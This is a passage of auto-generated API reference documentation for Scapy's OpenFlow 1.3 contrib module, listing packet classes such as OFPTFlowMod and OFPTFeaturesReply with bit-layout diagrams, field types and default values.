+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTExperimenter                       


OFPTExperimenter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	4



	len

	ShortField

	None



	xid

	IntField

	0



	experimenter

	IntField

	0



	exp_type

	IntField

	0















	
class scapy.contrib.openflow3.OFPTFPT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2685-L2706]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2688-L2693]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2705-L2706]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2695-L2703]

	








	
class scapy.contrib.openflow3.OFPTFPTApplyActions(_pkt, /, *, type=6, len=None, action_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2783-L2788]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACTION IDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFPTApplyActions                     


OFPTFPTApplyActions fields






	type

	ShortField

	6



	len

	ShortField

	None



	action_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTApplyActionsMiss(_pkt, /, *, type=7, len=None, action_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2791-L2796]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACTION IDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTFPTApplyActionsMiss                   


OFPTFPTApplyActionsMiss fields






	type

	ShortField

	7



	len

	ShortField

	None



	action_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTApplySetField(_pkt, /, *, type=14, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2831-L2836]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTFPTApplySetField                     


OFPTFPTApplySetField fields






	type

	ShortField

	14



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTApplySetFieldMiss(_pkt, /, *, type=15, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2839-L2844]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPTFPTApplySetFieldMiss                   


OFPTFPTApplySetFieldMiss fields






	type

	ShortField

	15



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTExperimenter(_pkt, /, *, type=65534, len=None, experimenter=0, exp_type=0, experimenter_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2847-L2854]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXP TYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EXPERIMENTER DATA       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFPTExperimenter                     


OFPTFPTExperimenter fields






	type

	ShortField

	65534



	len

	ShortField

	None



	experimenter

	IntField

	0



	exp_type

	IntField

	0



	experimenter_data

	PacketLenField

	None















	
class scapy.contrib.openflow3.OFPTFPTExperimenterMiss(_pkt, /, *, type=65535, len=None, experimenter=0, exp_type=0, experimenter_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2857-L2864]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXP TYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EXPERIMENTER DATA       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTFPTExperimenterMiss                   


OFPTFPTExperimenterMiss fields






	type

	ShortField

	65535



	len

	ShortField

	None



	experimenter

	IntField

	0



	exp_type

	IntField

	0



	experimenter_data

	PacketLenField

	None















	
class scapy.contrib.openflow3.OFPTFPTInstructions(_pkt, /, *, type=0, len=None, instruction_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2727-L2732]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        INSTRUCTION IDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFPTInstructions                     


OFPTFPTInstructions fields






	type

	ShortField

	0



	len

	ShortField

	None



	instruction_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTInstructionsMiss(_pkt, /, *, type=1, len=None, instruction_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2735-L2740]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        INSTRUCTION IDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTFPTInstructionsMiss                   


OFPTFPTInstructionsMiss fields






	type

	ShortField

	1



	len

	ShortField

	None



	instruction_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTMatch(_pkt, /, *, type=8, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2799-L2804]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTFPTMatch                         


OFPTFPTMatch fields






	type

	ShortField

	8



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTNextTables(_pkt, /, *, type=2, len=None, next_table_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2751-L2756]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         NEXT TABLE IDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTFPTNextTables                      


OFPTFPTNextTables fields






	type

	ShortField

	2



	len

	ShortField

	None



	next_table_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTNextTablesMiss(_pkt, /, *, type=3, len=None, next_table_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2759-L2764]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         NEXT TABLE IDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTFPTNextTablesMiss                    


OFPTFPTNextTablesMiss fields






	type

	ShortField

	3



	len

	ShortField

	None



	next_table_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTWildcards(_pkt, /, *, type=10, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2807-L2812]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTFPTWildcards                       


OFPTFPTWildcards fields






	type

	ShortField

	10



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTWriteActions(_pkt, /, *, type=4, len=None, action_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2767-L2772]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACTION IDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFPTWriteActions                     


OFPTFPTWriteActions fields






	type

	ShortField

	4



	len

	ShortField

	None



	action_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTWriteActionsMiss(_pkt, /, *, type=5, len=None, action_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2775-L2780]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACTION IDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTFPTWriteActionsMiss                   


OFPTFPTWriteActionsMiss fields






	type

	ShortField

	5



	len

	ShortField

	None



	action_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTWriteSetField(_pkt, /, *, type=12, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2815-L2820]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTFPTWriteSetField                     


OFPTFPTWriteSetField fields






	type

	ShortField

	12



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFPTWriteSetFieldMiss(_pkt, /, *, type=13, len=None, oxm_ids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2823-L2828]

	Bases: OFPTFPT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OXM IDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPTFPTWriteSetFieldMiss                   


OFPTFPTWriteSetFieldMiss fields






	type

	ShortField

	13



	len

	ShortField

	None



	oxm_ids

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFeaturesReply(_pkt, /, *, version=4, type=6, len=None, xid=0, datapath_id=0, n_buffers=0, n_tables=1, auxiliary_id=0, pad=0, capabilities=<Flag 0 ()>, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1954-L1974]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATAPATH ID                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           N BUFFERS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    N TABLES   |  AUXILIARY ID |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTFeaturesReply                      


OFPTFeaturesReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	6



	len

	ShortField

	None



	xid

	IntField

	0



	datapath_id

	LongField

	0



	n_buffers

	IntField

	0



	n_tables

	ByteField

	1



	auxiliary_id

	ByteField

	0



	pad

	XShortField

	0



	capabilities

	FlagsField

	<Flag 0 ()>



	reserved

	IntField

	0















	
class scapy.contrib.openflow3.OFPTFeaturesRequest(_pkt, /, *, version=4, type=5, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1946-L1951]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFeaturesRequest                     


OFPTFeaturesRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	5



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTFlowMod(_pkt, /, *, version=4, type=14, len=None, xid=0, cookie=0, cookie_mask=0, table_id=0, cmd=0, idle_timeout=0, hard_timeout=0, priority=0, buffer_id=4294967295, out_port=4294967295, out_group=4294967295, flags=<Flag 0 ()>, pad=0, match=<OFPMatch  |>, instructions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2080-L2109]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          COOKIE MASK                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |      CMD      |          IDLE TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HARD TIMEOUT         |            PRIORITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BUFFER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            OUT PORT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           OUT GROUP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |          INSTRUCTIONS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPTFlowMod                         


OFPTFlowMod fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	14



	len

	ShortField

	None



	xid

	IntField

	0



	cookie

	LongField

	0



	cookie_mask

	LongField

	0



	table_id

	ByteEnumField

	0



	cmd

	ByteEnumField

	0



	idle_timeout

	ShortField

	0



	hard_timeout

	ShortField

	0



	priority

	ShortField

	0



	buffer_id

	IntEnumField

	4294967295



	out_port

	IntEnumField

	4294967295



	out_group

	IntEnumField

	4294967295



	flags

	FlagsField

	<Flag 0 ()>



	pad

	XShortField

	0



	match

	MatchField

	<OFPMatch  |>



	instructions

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTFlowRemoved(_pkt, /, *, version=4, type=11, len=None, xid=0, cookie=0, priority=0, reason=0, table_id=0, duration_sec=0, duration_nsec=0, idle_timeout=0, hard_timeout=0, packet_count=0, byte_count=0, match=<OFPMatch  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2029-L2048]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PRIORITY           |     REASON    |    TABLE ID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDLE TIMEOUT         |          HARD TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTFlowRemoved                       


OFPTFlowRemoved fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	11



	len

	ShortField

	None



	xid

	IntField

	0



	cookie

	LongField

	0



	priority

	ShortField

	0



	reason

	ByteEnumField

	0



	table_id

	ByteEnumField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	idle_timeout

	ShortField

	0



	hard_timeout

	ShortField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	match

	MatchField

	<OFPMatch  |>















	
class scapy.contrib.openflow3.OFPTGetAsyncReply(_pkt, /, *, version=4, type=27, len=32, xid=0, packet_in_mask_master=<Flag 0 ()>, packet_in_mask_slave=<Flag 0 ()>, port_status_mask_master=<Flag 0 ()>, port_status_mask_slave=<Flag 0 ()>, flow_removed_mask_master=<Flag 0 ()>, flow_removed_mask_slave=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3100-L3111]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     PACKET IN MASK MASTER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      PACKET IN MASK SLAVE                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    PORT STATUS MASK MASTER                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     PORT STATUS MASK SLAVE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    FLOW REMOVED MASK MASTER                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    FLOW REMOVED MASK SLAVE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTGetAsyncReply                      


OFPTGetAsyncReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	27



	len

	ShortField

	32



	xid

	IntField

	0



	packet_in_mask_master

	FlagsField

	<Flag 0 ()>



	packet_in_mask_slave

	FlagsField

	<Flag 0 ()>



	port_status_mask_master

	FlagsField

	<Flag 0 ()>



	port_status_mask_slave

	FlagsField

	<Flag 0 ()>



	flow_removed_mask_master

	FlagsField

